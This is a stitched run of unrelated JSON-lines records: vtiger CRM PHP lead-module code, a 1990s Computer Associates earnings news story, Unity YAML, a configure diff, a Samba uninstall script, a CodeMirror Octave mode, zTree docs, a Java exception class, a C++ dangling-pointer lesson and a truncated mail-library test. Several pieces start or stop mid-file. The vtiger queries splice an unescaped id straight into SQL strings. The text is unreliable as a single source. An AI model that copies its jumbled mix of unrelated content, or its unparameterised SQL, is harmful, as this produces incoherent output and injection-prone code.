=\"select case when (vtiger_users.user_name not like '') then $userNameSql else vtiger_groups.groupname end as user_name,\" .\n\t\t\t\t\" vtiger_activity.activityid, vtiger_activity.subject, vtiger_activity.semodule, vtiger_activity.activitytype,\" .\n\t\t\t\t\" vtiger_activity.date_start, vtiger_activity.status, vtiger_activity.priority, vtiger_crmentity.crmid,\" .\n\t\t\t\t\" vtiger_crmentity.smownerid,vtiger_crmentity.modifiedtime, vtiger_users.user_name, vtiger_seactivityrel.crmid as parent_id \" .\n\t\t\t\t\" from vtiger_activity\" .\n\t\t\t\t\" inner join vtiger_seactivityrel on vtiger_seactivityrel.activityid=vtiger_activity.activityid\" .\n\t\t\t\t\" inner join vtiger_crmentity on vtiger_crmentity.crmid=vtiger_activity.activityid\" .\n\t\t\t\t\" left join vtiger_groups on vtiger_groups.groupid=vtiger_crmentity.smownerid\" .\n\t\t\t\t\" left join vtiger_users on vtiger_users.id=vtiger_crmentity.smownerid\" .\n\t\t\t\t\" where vtiger_activity.activitytype='Emails' and vtiger_crmentity.deleted=0 and vtiger_seactivityrel.crmid=\".$id;\n\n\t\t$return_value = GetRelatedList($this_module, $related_module, $other, $query, $button, $returnset);\n\n\t\tif($return_value == null) $return_value = Array();\n\t\t$return_value['CUSTOM_BUTTON'] = $button;\n\n\t\t$log->debug(\"Exiting get_emails method ...\");\n\t\treturn $return_value;\n\t}\n\n\t/**\n\t * Function to get Lead related Task & Event which have activity type Held, Completed or Deferred.\n\t * @param integer $id - leadid\n\t * returns related Task or Event record in array format\n\t */\n\tfunction get_history($id)\n\t{\n\t\tglobal $log;\n\t\t$log->debug(\"Entering get_history(\".$id.\") method ...\");\n\t\t$userNameSql = getSqlForNameInDisplayFormat(array('first_name'=>\n\t\t\t\t\t\t\t'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');\n\t\t$query = \"SELECT vtiger_activity.activityid, vtiger_activity.subject, vtiger_activity.status,\n\t\t\tvtiger_activity.eventstatus, vtiger_activity.activitytype,vtiger_activity.date_start,\n\t\t\tvtiger_activity.due_date,vtiger_activity.time_start,vtiger_activity.time_end,\n\t\t\tvtiger_crmentity.modifiedtime,vtiger_crmentity.createdtime,\n\t\t\tvtiger_crmentity.description, $userNameSql as user_name,vtiger_groups.groupname\n\t\t\t\tfrom vtiger_activity\n\t\t\t\tinner join vtiger_seactivityrel on vtiger_seactivityrel.activityid=vtiger_activity.activityid\n\t\t\t\tinner join vtiger_crmentity on vtiger_crmentity.crmid=vtiger_activity.activityid\n\t\t\t\tleft join vtiger_groups on vtiger_groups.groupid=vtiger_crmentity.smownerid\n\t\t\t\tleft join vtiger_users on vtiger_crmentity.smownerid= vtiger_users.id\n\t\t\t\twhere (vtiger_activity.activitytype != 'Emails')\n\t\t\t\tand (vtiger_activity.status = 'Completed' or vtiger_activity.status = 'Deferred' or (vtiger_activity.eventstatus = 'Held' and vtiger_activity.eventstatus != ''))\n\t\t\t\tand vtiger_seactivityrel.crmid=\".$id.\"\n\t and vtiger_crmentity.deleted = 0\";\n\t\t//Don't add order by, because, for security, one more condition will be added with this query in include/RelatedListView.php\n\n\t\t$log->debug(\"Exiting get_history method ...\");\n\t\treturn getHistory('Leads',$query,$id);\n\t}\n\n\t/**\n\t* Function to get lead related Products\n\t* @param integer $id - leadid\n\t* returns related Products record in array format\n\t*/\n\tfunction get_products($id, $cur_tab_id, $rel_tab_id, $actions=false) {\n\t\tglobal $log, $singlepane_view,$currentModule,$current_user;\n\t\t$log->debug(\"Entering get_products(\".$id.\") method ...\");\n\t\t$this_module = $currentModule;\n\n $related_module = vtlib_getModuleNameById($rel_tab_id);\n\t\trequire_once(\"modules/$related_module/$related_module.php\");\n\t\t$other = new $related_module();\n vtlib_setup_modulevars($related_module, $other);\n\t\t$singular_modname = vtlib_toSingular($related_module);\n\n\t\t$parenttab = getParentTab();\n\n\t\tif($singlepane_view == 'true')\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=DetailView&return_id='.$id;\n\t\telse\n\t\t\t$returnset = '&return_module='.$this_module.'&return_action=CallRelatedList&return_id='.$id;\n\n\t\t$button = '';\n\n\t\tif($actions) {\n\t\t\tif(is_string($actions)) $actions = explode(',', strtoupper($actions));\n\t\t\tif(in_array('SELECT', $actions) && isPermitted($related_module,4, '') == 'yes') {\n\t\t\t\t$button .= \" \";\n\t\t\t}\n\t\t\tif(in_array('ADD', $actions) && isPermitted($related_module,1, '') == 'yes') {\n\t\t\t\t$button .= \" \";\n\t\t\t}\n\t\t}\n\n\t\t$query = \"SELECT vtiger_products.productid, vtiger_products.productname, vtiger_products.productcode,\n\t\t\t\tvtiger_products.commissionrate, vtiger_products.qty_per_unit, vtiger_products.unit_price,\n\t\t\t\tvtiger_crmentity.crmid, vtiger_crmentity.smownerid\n\t\t\t\tFROM vtiger_products\n\t\t\t\tINNER JOIN vtiger_seproductsrel ON vtiger_products.productid = vtiger_seproductsrel.productid and vtiger_seproductsrel.setype = 'Leads'\n\t\t\t\tINNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_products.productid\n\t\t\t\tINNER JOIN vtiger_leaddetails ON vtiger_leaddetails.leadid = vtiger_seproductsrel.crmid\n\t\t\t\tLEFT JOIN vtiger_users\n\t\t\t\t\tON vtiger_users.id=vtiger_crmentity.smownerid\n\t\t\t\tLEFT JOIN vtiger_groups\n\t\t\t\t\tON vtiger_groups.groupid = vtiger_crmentity.smownerid\n\t\t\t WHERE vtiger_crmentity.deleted = 0 AND vtiger_leaddetails.leadid = $id\";\n\n\t\t$return_value = GetRelatedList($this_module, $related_module, $other, $query, $button, $returnset);\n\n\t\tif($return_value == null) $return_value = Array();\n\t\t$return_value['CUSTOM_BUTTON'] = $button;\n\n\t\t$log->debug(\"Exiting get_products method ...\");\n\t\treturn $return_value;\n\t}\n\n\t/** Function to get the Combo List Values of Leads Field\n\t * @param string $list_option\n\t * Returns Combo List Options\n\t*/\n\tfunction get_lead_field_options($list_option)\n\t{\n\t\tglobal $log;\n\t\t$log->debug(\"Entering get_lead_field_options(\".$list_option.\") method ...\");\n\t\t$comboFieldArray = getComboArray($this->combofieldNames);\n\t\t$log->debug(\"Exiting get_lead_field_options method ...\");\n\t\treturn $comboFieldArray[$list_option];\n\t}\n\n\t/** Function to get the Columnnames of the Leads Record\n\t* Used By vtigerCRM Word Plugin\n\t* Returns the Merge Fields for Word Plugin\n\t*/\n\tfunction getColumnNames_Lead()\n\t{\n\t\tglobal $log,$current_user;\n\t\t$log->debug(\"Entering getColumnNames_Lead() method ...\");\n\t\trequire('user_privileges/user_privileges_'.$current_user->id.'.php');\n\t\tif($is_admin == true || $profileGlobalPermission[1] == 0 || $profileGlobalPermission[2] == 0)\n\t\t{\n\t\t\t$sql1 = \"select fieldlabel from vtiger_field where tabid=7 and vtiger_field.presence in (0,2)\";\n\t\t\t$params1 = array();\n\t\t}else\n\t\t{\n\t\t\t$profileList = getCurrentUserProfileList();\n\t\t\t$sql1 = \"select vtiger_field.fieldid,fieldlabel from vtiger_field inner join vtiger_profile2field on vtiger_profile2field.fieldid=vtiger_field.fieldid inner join vtiger_def_org_field on vtiger_def_org_field.fieldid=vtiger_field.fieldid where vtiger_field.tabid=7 and vtiger_field.displaytype in (1,2,3,4) and vtiger_profile2field.visible=0 and vtiger_def_org_field.visible=0 and vtiger_field.presence in (0,2)\";\n\t\t\t$params1 = array();\n\t\t\tif (count($profileList) > 0) {\n\t\t\t\t$sql1 .= \" and vtiger_profile2field.profileid in (\". generateQuestionMarks($profileList) .\") group by fieldid\";\n\t\t\t\tarray_push($params1, $profileList);\n\t\t\t}\n\t\t}\n\t\t$result = $this->db->pquery($sql1, $params1);\n\t\t$numRows = $this->db->num_rows($result);\n\t\tfor($i=0; $i < $numRows;$i++)\n\t\t{\n\t \t$custom_fields[$i] = $this->db->query_result($result,$i,\"fieldlabel\");\n\t \t$custom_fields[$i] = preg_replace(\"/\\s+/\",\"\",$custom_fields[$i]);\n\t \t$custom_fields[$i] = strtoupper($custom_fields[$i]);\n\t\t}\n\t\t$mergeflds = $custom_fields;\n\t\t$log->debug(\"Exiting getColumnNames_Lead method ...\");\n\t\treturn $mergeflds;\n\t}\n\n\t/**\n\t * Move the related records of the specified list of id's to the given record.\n\t * @param String This module name\n\t * @param Array List of Entity Id's from which related records need to be transfered\n\t * @param Integer Id of the the Record to which the related records are to be moved\n\t */\n\tfunction transferRelatedRecords($module, $transferEntityIds, $entityId) {\n\t\tglobal $adb,$log;\n\t\t$log->debug(\"Entering function transferRelatedRecords ($module, $transferEntityIds, $entityId)\");\n\n\t\t$rel_table_arr = Array(\"Activities\"=>\"vtiger_seactivityrel\",\"Documents\"=>\"vtiger_senotesrel\",\"Attachments\"=>\"vtiger_seattachmentsrel\",\n\t\t\t\t\t\"Products\"=>\"vtiger_seproductsrel\",\"Campaigns\"=>\"vtiger_campaignleadrel\");\n\n\t\t$tbl_field_arr = Array(\"vtiger_seactivityrel\"=>\"activityid\",\"vtiger_senotesrel\"=>\"notesid\",\"vtiger_seattachmentsrel\"=>\"attachmentsid\",\n\t\t\t\t\t\"vtiger_seproductsrel\"=>\"productid\",\"vtiger_campaignleadrel\"=>\"campaignid\");\n\n\t\t$entity_tbl_field_arr = Array(\"vtiger_seactivityrel\"=>\"crmid\",\"vtiger_senotesrel\"=>\"crmid\",\"vtiger_seattachmentsrel\"=>\"crmid\",\n\t\t\t\t\t\"vtiger_seproductsrel\"=>\"crmid\",\"vtiger_campaignleadrel\"=>\"leadid\");\n\n\t\tforeach($transferEntityIds as $transferId) {\n\t\t\tforeach($rel_table_arr as $rel_module=>$rel_table) {\n\t\t\t\t$id_field = $tbl_field_arr[$rel_table];\n\t\t\t\t$entity_id_field = $entity_tbl_field_arr[$rel_table];\n\t\t\t\t// IN clause to avoid duplicate entries\n\t\t\t\t$sel_result = $adb->pquery(\"select $id_field from $rel_table where $entity_id_field=? \" .\n\t\t\t\t\t\t\" and $id_field not in (select $id_field from $rel_table where $entity_id_field=?)\",\n\t\t\t\t\t\tarray($transferId,$entityId));\n\t\t\t\t$res_cnt = $adb->num_rows($sel_result);\n\t\t\t\tif($res_cnt > 0) {\n\t\t\t\t\tfor($i=0;$i<$res_cnt;$i++) {\n\t\t\t\t\t\t$id_field_value = $adb->query_result($sel_result,$i,$id_field);\n\t\t\t\t\t\t$adb->pquery(\"update $rel_table set $entity_id_field=? where $entity_id_field=? and $id_field=?\",\n\t\t\t\t\t\t\tarray($entityId,$transferId,$id_field_value));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$log->debug(\"Exiting transferRelatedRecords...\");\n\t}\n\n\t/*\n\t * Function to get the secondary query part of a report\n\t * @param - $module primary module name\n\t * @param - $secmodule secondary module name\n\t * returns the query string formed on fetching the related data for report for secondary module\n\t */\n\tfunction generateReportsSecQuery($module,$secmodule){\n\t\t$query = $this->getRelationQuery($module,$secmodule,\"vtiger_leaddetails\",\"leadid\");\n\t\t$query .= \" left join vtiger_crmentity as vtiger_crmentityLeads on vtiger_crmentityLeads.crmid = vtiger_leaddetails.leadid and vtiger_crmentityLeads.deleted=0\n\t\t\tleft join vtiger_leadaddress on vtiger_leaddetails.leadid = vtiger_leadaddress.leadaddressid\n\t\t\tleft join vtiger_leadsubdetails on vtiger_leadsubdetails.leadsubscriptionid = vtiger_leaddetails.leadid\n\t\t\tleft join vtiger_leadscf on vtiger_leadscf.leadid = vtiger_leaddetails.leadid\n\t\t\tleft join vtiger_groups as vtiger_groupsLeads on vtiger_groupsLeads.groupid = vtiger_crmentityLeads.smownerid\n\t\t\tleft join vtiger_users as vtiger_usersLeads on vtiger_usersLeads.id = vtiger_crmentityLeads.smownerid\n left join vtiger_users as vtiger_lastModifiedByLeads on vtiger_lastModifiedByLeads.id = vtiger_crmentityLeads.modifiedby \";\n\t\treturn $query;\n\t}\n\n\t/*\n\t * Function to get the relation tables for related modules\n\t * @param - $secmodule secondary module name\n\t * returns the array with table names and fieldnames storing relations between module and this module\n\t */\n\tfunction setRelationTables($secmodule){\n\t\t$rel_tables = array (\n\t\t\t\"Calendar\" => array(\"vtiger_seactivityrel\"=>array(\"crmid\",\"activityid\"),\"vtiger_leaddetails\"=>\"leadid\"),\n\t\t\t\"Products\" => array(\"vtiger_seproductsrel\"=>array(\"crmid\",\"productid\"),\"vtiger_leaddetails\"=>\"leadid\"),\n\t\t\t\"Campaigns\" => array(\"vtiger_campaignleadrel\"=>array(\"leadid\",\"campaignid\"),\"vtiger_leaddetails\"=>\"leadid\"),\n\t\t\t\"Documents\" => array(\"vtiger_senotesrel\"=>array(\"crmid\",\"notesid\"),\"vtiger_leaddetails\"=>\"leadid\"),\n\t\t\t\"Services\" => array(\"vtiger_crmentityrel\"=>array(\"crmid\",\"relcrmid\"),\"vtiger_leaddetails\"=>\"leadid\"),\n\t\t);\n\t\treturn $rel_tables[$secmodule];\n\t}\n\n\t// Function to unlink an entity with given Id from another entity\n\tfunction unlinkRelationship($id, $return_module, $return_id) {\n\t\tglobal $log;\n\t\tif(empty($return_module) || empty($return_id)) return;\n\n\t\tif($return_module == 'Campaigns') {\n\t\t\t$sql = 'DELETE FROM vtiger_campaignleadrel WHERE leadid=? AND campaignid=?';\n\t\t\t$this->db->pquery($sql, array($id, $return_id));\n\t\t}\n\t\telseif($return_module == 'Products') {\n\t\t\t$sql = 'DELETE FROM vtiger_seproductsrel WHERE crmid=? AND productid=?';\n\t\t\t$this->db->pquery($sql, array($id, $return_id));\n\t\t} else {\n\t\t\t$sql = 'DELETE FROM vtiger_crmentityrel WHERE (crmid=? AND relmodule=? AND relcrmid=?) OR (relcrmid=? AND module=? AND crmid=?)';\n\t\t\t$params = array($id, $return_module, $return_id, $id, $return_module, $return_id);\n\t\t\t$this->db->pquery($sql, $params);\n\t\t}\n\t}\n\t\n\tfunction getListButtons($app_strings) {\n\t\t$list_buttons = Array();\n\n\t\tif(isPermitted('Leads','Delete','') == 'yes') {\n\t\t\t$list_buttons['del'] =\t$app_strings[LBL_MASS_DELETE];\n\t\t}\n\t\tif(isPermitted('Leads','EditView','') == 'yes') {\n\t\t\t$list_buttons['mass_edit'] = $app_strings[LBL_MASS_EDIT];\n\t\t\t$list_buttons['c_owner'] = $app_strings[LBL_CHANGE_OWNER];\n\t\t}\n\t\tif(isPermitted('Emails','EditView','') == 'yes')\n\t\t\t$list_buttons['s_mail'] = $app_strings[LBL_SEND_MAIL_BUTTON];\n\t\t\n\t\t// end of mailer export\n\t\treturn $list_buttons;\n\t}\n\n\tfunction save_related_module($module, $crmid, $with_module, $with_crmids) {\n\t\t$adb = PearDatabase::getInstance();\n\n\t\tif(!is_array($with_crmids)) $with_crmids = Array($with_crmids);\n\t\tforeach($with_crmids as $with_crmid) {\n\t\t\tif($with_module == 'Products')\n\t\t\t\t$adb->pquery(\"insert into vtiger_seproductsrel values (?,?,?)\", array($crmid, $with_crmid, $module));\n\t\t\telseif($with_module == 'Campaigns')\n\t\t\t\t$adb->pquery(\"insert into vtiger_campaignleadrel values(?,?,1)\", array($with_crmid, $crmid));\n\t\t\telse {\n\t\t\t\tparent::save_related_module($module, $crmid, $with_module, $with_crmid);\n\t\t\t}\n\t\t}\n\t}\n\n}\n\n?>"} -{"text": "Computer Associates International Inc said on Tuesday at its North American revenues grew 33 percent in its December quarter, cushioning the blow of a pre-announced decline in European sales.\nIn a phone interview, Sanjay Kumar, CA's president and chief operating officer, said European revenues declined about 20 percent year-on-year.\nTotal revenues for the fiscal third quarter ended December 31 were $1.05 billion against $1.00 billion in the December quarter of 1995.\nAlso, the executive said CA had become a \"big buyer\" of its own stock since the company's warning in late December of a revenue shortfall sent the stock price tumbling.\nCA stock had been trading around record high levels of $67 and now is in the mid $40's.\nKumar said the revenue problem arose from the software maker's on-going transition to a client-server focus from its traditional mainframe base.\nHe said the mainframe-oriented European sales force was finding the switch to highly competitive open systems software a challenge. \nKumar said he told Wall Street analysts in a conference call Tuesday evening that it could take a quarter and perhaps two quarters to put its European sales back on track.\n\"We clearly need the current quarter to work through these issues,\" he said, referring to the fiscal fourth quarter ending in March.\n\"My thinking at this point is that (I would like to have) the room if needed into the first quarter,\" he said.\n\"I told analysts that I am not doing anything short term just to grab some revenue,\" he added. \nThe CA executive said Italy and Spain continue to do well but France and Germany suffered the brunt of the sales downturn.\nAsia/Pacific revenue growth was \"very strong\" with China growing 100 percent year over year.\nKumar said client/server revenues now account for 39 percent of CA's total with mainframe revenues making up the rest. Client/server revenues grew 43 percent year on year, he noted. \"I would clearly like to see us cross the 50-50 line in 1997, but it may take until 1998,\" he said, referring to the split between mainframe and client/server revenues.\nIn its third quarter earnings results, CA reported operating earnings of $0.75 a share, 25 percent above the December 1995 quarter's $0.60.\nThat excluded a pre-announced charge of $598 million for the acquisition of Cheyenne Software.\n"} -{"text": "sha256:ab3f3354bf5a16b774d331eb93664383f002fdf0c02b8a27ca4598c775f9487d\n"} -{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!21 &2100000\nMaterial:\n serializedVersion: 6\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_Name: RoundedCornersTextureMaterial\n m_Shader: {fileID: 4800000, guid: 0bd2ec5d73751e34a814274a454bec41, type: 3}\n m_ShaderKeywords: \n m_LightmapFlags: 4\n m_EnableInstancingVariants: 0\n m_DoubleSidedGI: 0\n m_CustomRenderQueue: -1\n stringTagMap: {}\n disabledShaderPasses: []\n m_SavedProperties:\n serializedVersion: 3\n m_TexEnvs:\n - _BumpMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailAlbedoMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailMask:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailNormalMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _EmissionMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MainTex:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MetallicGlossMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _OcclusionMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _ParallaxMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n m_Floats:\n - _BumpScale: 1\n - _ColorMask: 15\n - _Cutoff: 0.5\n - _DetailNormalMapScale: 1\n - _DstBlend: 0\n - _GlossMapScale: 1\n - _Glossiness: 0.5\n - _GlossyReflections: 1\n - _Height: 50\n - _Metallic: 0\n - _Mode: 0\n - _OcclusionStrength: 1\n - _Parallax: 0.02\n - _Radius: 15\n - _SmoothnessTextureChannel: 0\n - _SpecularHighlights: 1\n - _SrcBlend: 1\n - _Stencil: 0\n - _StencilComp: 8\n - _StencilOp: 0\n - _StencilReadMask: 255\n - _StencilWriteMask: 255\n - _UVSec: 0\n - _UseUIAlphaClip: 0\n - _Width: 50\n - _ZWrite: 1\n m_Colors:\n - _Color: {r: 1, g: 1, b: 1, a: 1}\n - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}\n - _WidthHeightRadius: {r: 100, g: 100, b: 60, a: 0}\n"} -{"text": "--- /configure.ac\t2013-10-09 22:39:08.000000000 +0400\n+++ /configure.ac\t2013-06-24 20:34:58.000000000 +0400\n@@ -149,7 +149,6 @@ AC_CHECK_GENERATE_INTTYPES([include])\n \n dnl Checks for typedefs, structures, and compiler characteristics.\n AC_C_CONST\n-AC_C_ALWAYS_INLINE\n AC_C_RESTRICT\n AC_C_BUILTIN_EXPECT\n AC_C_BIGENDIAN"} -{"text": "#!/bin/sh\n#4 July 96 Dan.Shearer@UniSA.edu.au \n\nINSTALLPERMS=$1\nBASEDIR=$2\nBINDIR=$3\nLIBDIR=$4\nVARDIR=$5\nshift\nshift\nshift\nshift\nshift\n\nif [ ! -d $BINDIR ]; then\n echo Directory $BINDIR does not exist!\n echo Do a \"make installbin\" or \"make install\" first.\n exit 1\nfi\n\nfor p in $*; do\n p2=`basename $p`\n if [ -f $BINDIR/$p2 ]; then\n echo Removing $BINDIR/$p2\n rm -f $BINDIR/$p2\n if [ -f $BINDIR/$p2 ]; then\n echo Cannot remove $BINDIR/$p2 ... does $USER have privileges?\n fi\n fi\ndone\n\n\ncat << EOF\n======================================================================\nThe binaries have been uninstalled. You may restore the binaries using\nthe command \"make installbin\" or \"make install\" to install binaries, \nman pages and shell scripts. You can restore a previous version of the\nbinaries (if there were any) using \"make revert\".\n======================================================================\nEOF\n\nexit 0\n"} -{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: https://codemirror.net/LICENSE\n\n(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../../lib/codemirror\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../../lib/codemirror\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.defineMode(\"octave\", function() {\n function wordRegexp(words) {\n return new RegExp(\"^((\" + words.join(\")|(\") + \"))\\\\b\");\n }\n\n var singleOperators = new RegExp(\"^[\\\\+\\\\-\\\\*/&|\\\\^~<>!@'\\\\\\\\]\");\n var singleDelimiters = new RegExp('^[\\\\(\\\\[\\\\{\\\\},:=;\\\\.]');\n var doubleOperators = new RegExp(\"^((==)|(~=)|(<=)|(>=)|(<<)|(>>)|(\\\\.[\\\\+\\\\-\\\\*/\\\\^\\\\\\\\]))\");\n var doubleDelimiters = new RegExp(\"^((!=)|(\\\\+=)|(\\\\-=)|(\\\\*=)|(/=)|(&=)|(\\\\|=)|(\\\\^=))\");\n var tripleDelimiters = new RegExp(\"^((>>=)|(<<=))\");\n var expressionEnd = new RegExp(\"^[\\\\]\\\\)]\");\n var identifiers = new RegExp(\"^[_A-Za-z\\xa1-\\uffff][_A-Za-z0-9\\xa1-\\uffff]*\");\n\n var builtins = wordRegexp([\n 'error', 'eval', 'function', 'abs', 'acos', 'atan', 'asin', 'cos',\n 'cosh', 'exp', 'log', 'prod', 'sum', 'log10', 'max', 'min', 'sign', 'sin', 'sinh',\n 'sqrt', 'tan', 'reshape', 'break', 'zeros', 'default', 'margin', 'round', 'ones',\n 'rand', 'syn', 'ceil', 'floor', 'size', 'clear', 'zeros', 'eye', 'mean', 'std', 'cov',\n 'det', 'eig', 'inv', 'norm', 'rank', 'trace', 'expm', 'logm', 'sqrtm', 'linspace', 'plot',\n 'title', 'xlabel', 'ylabel', 'legend', 'text', 'grid', 'meshgrid', 'mesh', 'num2str',\n 'fft', 'ifft', 'arrayfun', 'cellfun', 'input', 'fliplr', 'flipud', 'ismember'\n ]);\n\n var keywords = wordRegexp([\n 'return', 'case', 'switch', 'else', 'elseif', 'end', 'endif', 'endfunction',\n 'if', 'otherwise', 'do', 'for', 'while', 'try', 'catch', 'classdef', 'properties', 'events',\n 'methods', 'global', 'persistent', 'endfor', 'endwhile', 'printf', 'sprintf', 'disp', 'until',\n 'continue', 'pkg'\n ]);\n\n\n // tokenizers\n function tokenTranspose(stream, state) {\n if (!stream.sol() && stream.peek() === '\\'') {\n stream.next();\n state.tokenize = tokenBase;\n return 'operator';\n }\n state.tokenize = tokenBase;\n return tokenBase(stream, state);\n }\n\n\n function tokenComment(stream, state) {\n if (stream.match(/^.*%}/)) {\n state.tokenize = tokenBase;\n return 'comment';\n };\n stream.skipToEnd();\n return 'comment';\n }\n\n function tokenBase(stream, state) {\n // whitespaces\n if (stream.eatSpace()) return null;\n\n // Handle one line Comments\n if (stream.match('%{')){\n state.tokenize = tokenComment;\n stream.skipToEnd();\n return 'comment';\n }\n\n if (stream.match(/^[%#]/)){\n stream.skipToEnd();\n return 'comment';\n }\n\n // Handle Number Literals\n if (stream.match(/^[0-9\\.+-]/, false)) {\n if (stream.match(/^[+-]?0x[0-9a-fA-F]+[ij]?/)) {\n stream.tokenize = tokenBase;\n return 'number'; };\n if (stream.match(/^[+-]?\\d*\\.\\d+([EeDd][+-]?\\d+)?[ij]?/)) { return 'number'; };\n if (stream.match(/^[+-]?\\d+([EeDd][+-]?\\d+)?[ij]?/)) { return 'number'; };\n }\n if (stream.match(wordRegexp(['nan','NaN','inf','Inf']))) { return 'number'; };\n\n // Handle Strings\n var m = stream.match(/^\"(?:[^\"]|\"\")*(\"|$)/) || stream.match(/^'(?:[^']|'')*('|$)/)\n if (m) { return m[1] ? 'string' : \"string error\"; }\n\n // Handle words\n if (stream.match(keywords)) { return 'keyword'; } ;\n if (stream.match(builtins)) { return 'builtin'; } ;\n if (stream.match(identifiers)) { return 'variable'; } ;\n\n if (stream.match(singleOperators) || stream.match(doubleOperators)) { return 'operator'; };\n if (stream.match(singleDelimiters) || stream.match(doubleDelimiters) || stream.match(tripleDelimiters)) { return null; };\n\n if (stream.match(expressionEnd)) {\n state.tokenize = tokenTranspose;\n return null;\n };\n\n\n // Handle non-detected items\n stream.next();\n return 'error';\n };\n\n\n return {\n startState: function() {\n return {\n tokenize: tokenBase\n };\n },\n\n token: function(stream, state) {\n var style = state.tokenize(stream, state);\n if (style === 'number' || style === 'variable'){\n state.tokenize = tokenTranspose;\n }\n return style;\n },\n\n lineComment: '%',\n\n fold: 'indent'\n };\n});\n\nCodeMirror.defineMIME(\"text/x-octave\", \"octave\");\n\n});\n"} -{"text": "
    \n

    \n Check out our new project Armor\n

    \n

    \n Uncomplicated HTTP server, supports HTTP/2 and auto TLS\n

    \n
    \n"} -{"text": "
    \n
    \n\t

    StringtreeNode.click

    \n\t

    Overview[ depends on jquery.ztree.core js ]

    \n\t
    \n\t\t

    \n\t\t
    \n\t\t\t

    Simple click event operations. As same as : (onclick =\"...\") the code. If the operation is more complex, please use the onClick callback.

    \n\t\t\t

    Because IE is different to other browsers in operating the event of \u2018onclick\u2019 and \u2018click\u2019 coexistence, please do not use this parameter to control whether to allow the redirection operation (for example: treeNode.click = \"return false;\"). If there is similar requirements, please do not use the 'url' attribute to save the website address, but use the 'onClick' callback to control jumps.

    \n\t\t\t

    Default: undefined

    \n\t\t
    \n\t
    \n\t

    String Format

    \n\t
    \n\t

    Standard javascript syntax, for example: alert (\"test\"); etc.

    \n\t
    \n\t

    Examples of treeNode

    \n\t

    1. When click this node, will alert msg.

    \n\t
    var nodes = [\n\t{ \"id\":1, \"name\":\"Google CN\", \"url\":\"http://g.cn\", \"click\":\"alert('test');\"},\n\t......\n]
    \n
    \n
    "} -{"text": "/*\n * Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage java.net.http;\n\n/**\n * Thrown when a connection, over which an {@code HttpRequest} is intended to be\n * sent, is not successfully established within a specified time period.\n *\n * @since 11\n */\npublic class HttpConnectTimeoutException extends HttpTimeoutException {\n\n private static final long serialVersionUID = 321L + 11L;\n\n /**\n * Constructs an {@code HttpConnectTimeoutException} with the given detail\n * message.\n *\n * @param message\n * The detail message; can be {@code null}\n */\n public HttpConnectTimeoutException(String message) {\n super(message);\n }\n}\n"} -{"text": "#include \nusing namespace std;\n\n\nclass ClassA {\nprivate:\n\tint *val;\npublic:\n\tClassA(int v) {\n\t\tval = new int;\n\t\t*val = v;\n\t}\n\t~ClassA() {\n\t\tdelete val;\n\t\tval = NULL;\t// good practice\n\t}\n\n\tconst int* GetVal() {\t\t\t// adding const here prevents from wrong usage\n\t\treturn val;\n\t}\n\n\tvoid SetVal(int* val) {\n\t\tthis->val = val;\n\t}\n};\n\nint main() {\n\tClassA a1(10);\n\tClassA a2(20);\n\ta2.SetVal(a1.GetVal());\n\treturn 0;\n}\n\n/*\nThe 2 objects now share same pointer.\nThe first destructor to execute would delete the dynamically allocated memory, \nand the other object\u2019s ptr would point to memory that\u2019s no longer allocated, a situation called a dangling pointer.\nThis would likely result in a serious runtime error (such as early program termination) when the pointer was used.\n\n\nBy using const, then user can't reset it so we prevent such behaviour\n\nTip: Rewiew slide Accessor & mutator: The proper way?\n\tCareful thinking about your setters and getters\n\tIn this scenario, returning pointer can make serious problems\n*/\n"} -{"text": "samplesDir = realpath(__DIR__.'/../../../../_samples/charsets');\n $this->encoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder();\n }\n\n public function testEncodingAndDecodingSamples()\n {\n $sampleFp = opendir($this->samplesDir);\n while 